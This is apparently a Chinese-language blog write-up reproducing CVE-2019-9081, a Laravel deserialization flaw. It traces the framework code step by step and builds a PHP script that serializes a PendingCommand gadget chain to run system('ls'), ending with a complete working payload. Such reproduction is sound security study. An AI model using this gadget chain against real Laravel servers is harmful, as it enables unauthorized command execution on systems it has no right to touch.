Last updated on November 30, 2023 am
CVE-2019-9081 复现
反序列化链分析 1. 入口 此反序列化漏洞入口位于 Illuminate\Foundation\Testing\PendingCommand destruct() 方法
1 2 3 4 5 6 7 public function __destruct ( ) { if ($this ->hasExecuted) { return ; } $this ->run (); }
分析:$this->hasExecuted
默认为false不执行,所以会直接执行 $this->run()
方法,查阅run()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public function run ( ) { $this ->hasExecuted = true ; $this ->mockConsoleOutput (); try { $exitCode = $this ->app[Kernel ::class ]->call ($this ->command, $this ->parameters); } catch (NoMatchingExpectationException $e ) { if ($e ->getMethodName () === 'askQuestion' ) { $this ->test->fail ('Unexpected question "' .$e ->getActualArguments ()[0 ]->getQuestion ().'" was asked.' ); } throw $e ; } if ($this ->expectedExitCode !== null ) { $this ->test->assertEquals ( $this ->expectedExitCode, $exitCode , "Expected status code {$this->expectedExitCode} but received {$exitCode} ." ); } return $exitCode ; }
会先经历mockConsoleOutput()
方法,查看该方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected function mockConsoleOutput ( ) { $mock = Mockery ::mock (OutputStyle ::class .'[askQuestion]' , [ (new ArrayInput ($this ->parameters)), $this ->createABufferedOutputMock (), ]); foreach ($this ->test->expectedQuestions as $i => $question ) { $mock ->shouldReceive ('askQuestion' ) ->once () ->ordered () ->with (Mockery ::on (function ($argument ) use ($question ) { return $argument ->getQuestion () == $question [0 ]; })) ->andReturnUsing (function () use ($question , $i ) { unset ($this ->test ->expectedQuestions [$i ]); return $question [1 ]; }); } $this ->app->bind (OutputStyle ::class , function () use ($mock ) { return $mock ; }); }
大体意思就是对$thie->test
和$this->app
成员进行初始化
简单写个脚本调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php namespace Illuminate \Foundation \Testing { use Faker \DefaultGenerator ; use Illuminate \Container \Container ; class PendingCommand { protected $app ; protected $command ; protected $parameters ; public $test ; public function __construct ($command ,$parameters ) { $this ->command = $command ; $this ->parameters = $parameters ; $this ->test = new DefaultGenerator (); $this ->app = new DefaultGenerator (); } } }namespace Faker { class DefaultGenerator { protected $default ; public function __construct ( ) { $this ->default = ['1' ]; } } }namespace { use Illuminate \Foundation \Testing \PendingCommand ; echo urlencode (serialize (new PendingCommand ('system' ,['ls' ]))); }
这里使用Faker\DefaultGenerator\DefaultGenerator
来为test
和app
赋值是因为这类的__call()``__get()
方法都比较简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function __get ($attribute ) { return $this ->default ; }public function __call ($method , $attributes ) { return $this ->default ; }
直接报错
问题出在这一句$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
也就是之前我们对app
的赋值有问题,这里会把app
当做一个数组来执行,返回去查看app的说明
也就是说,$app
是 \Illuminate\Foundation\Application
的实例,修改一下Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php namespace Illuminate \Foundation \Testing { use Faker \DefaultGenerator ; use Illuminate \Foundation \Application ; class PendingCommand { protected $app ; protected $command ; protected $parameters ; public $test ; public function __construct ($command ,$parameters ) { $this ->command = $command ; $this ->parameters = $parameters ; $this ->test = new DefaultGenerator (); $this ->app = new Application (); } } }namespace Illuminate \Foundation { class Application { } }namespace Faker { class DefaultGenerator { protected $default ; public function __construct ( ) { $this ->default = ['1' ]; } } }namespace { use Illuminate \Foundation \Testing \PendingCommand ; echo urlencode (serialize (new PendingCommand ('system' ,['ls' ]))); }
但是继续报错
提示Target [Illuminate\Contracts\Console\Kernel] is not instantiable
,也就是说[Illuminate\Contracts\Console\Kernel]
这个东西对应的类无法被实例化。
那么我们单步调试看看
最终在Illuminate\Container\Container.php
的if ($this->isBuildable($concrete, $abstract))
方法报错
相关代码如下
1 2 3 4 5 6 7 8 9 $concrete = $this ->getConcrete ($abstract );if ($this ->isBuildable ($concrete , $abstract )) { $object = $this ->build ($concrete ); } else { $object = $this ->make ($concrete ); }
这里的$abstract
就是Illuminate\Contracts\Console\Kernel
这个字符串,也就是最前面的Kernel::class
所对应的字符串
来看看这几个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 protected function getConcrete ($abstract ) { if (! is_null ($concrete = $this ->getContextualConcrete ($abstract ))) { return $concrete ; } if (isset ($this ->bindings[$abstract ])) { return $this ->bindings[$abstract ]['concrete' ]; } return $abstract ; }protected function isBuildable ($concrete , $abstract ) { return $concrete === $abstract || $concrete instanceof Closure ; }public function build ($concrete ) { if ($concrete instanceof Closure ) { return $concrete ($this , $this ->getLastParameterOverride ()); } $reflector = new ReflectionClass ($concrete ); if (! $reflector ->isInstantiable ()) { return $this ->notInstantiable ($concrete ); } $this ->buildStack[] = $concrete ; $constructor = $reflector ->getConstructor (); if (is_null ($constructor )) { array_pop ($this ->buildStack); return new $concrete ; } $dependencies = $constructor ->getParameters (); $instances = $this ->resolveDependencies ( $dependencies ); array_pop ($this ->buildStack); return $reflector ->newInstanceArgs ($instances ); }
到这里其实就已经了然了。
字符串Illuminate\Contracts\Console\Kernel
作为$this->bindings
的键值,去取另一个数组,并从另一个数组中以键值concrete
取出一个对象,否则就返回Illuminate\Contracts\Console\Kernel
,然后去build
一个对象,但是我们之前给app
传入的对象显然不能实例化,因为我们之前没有对bindings
赋值,传进去的concrete
是字符串Illuminate\Contracts\Console\Kernel
所以我们就得为app
的值构造一下。
先来看看我们需要什么,我们需要app
是一个二维数组,[Illuminate\Contracts\Console\Kernel
] => [concrete
=> 一个可以实例化的类],并且这个类还得有call方法,因为最终返回的就是一个该类的实例化对象,然后调用这个对象的call
方法
最后发现就是
Illuminate\Container
下的Container
类好用,不仅有bindings
属性,还有call
方法
于是再修改payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php namespace Illuminate \Foundation \Testing { use Faker \DefaultGenerator ; use Illuminate \Container \Container ; class PendingCommand { protected $app ; protected $command ; protected $parameters ; public $test ; public function __construct ($command ,$parameters ) { $this ->command = $command ; $this ->parameters = $parameters ; $this ->test = new DefaultGenerator (); $this ->app = new Container (); } } }namespace Faker { class DefaultGenerator { protected $default ; public function __construct ( ) { $this ->default = ['1' ]; } } }namespace Illuminate \Container { class Container { protected $bindings ; public function __construct ( ) { $this ->bindings = ['Illuminate\Contracts\Console\Kernel' => ['concrete' => 'Illuminate\Container\\Container' ]]; } } }namespace { use Illuminate \Foundation \Testing \PendingCommand ; echo urlencode (serialize (new PendingCommand ('system' ,['ls' ]))); }
然后就可以成功打通
2.后记 1.判断哪里有问题就看程序在哪里crush掉,也就是类似于进入catch
块
1 2 3 4 5 6 7 8 9 return function ($passable ) use ($destination ) { try { return $destination ($passable ); } catch (Exception $e ) { return $this ->handleException ($passable , $e ); } catch (Throwable $e ) { return $this ->handleException ($passable , new FatalThrowableError ($e )); } };
2.动态调试还是比较重要的,不需要理解每一步具体是在干什么,但通过注释,变量名字大体都可以猜到是在干什么
3.一步一步复现成功,还是很开心哒!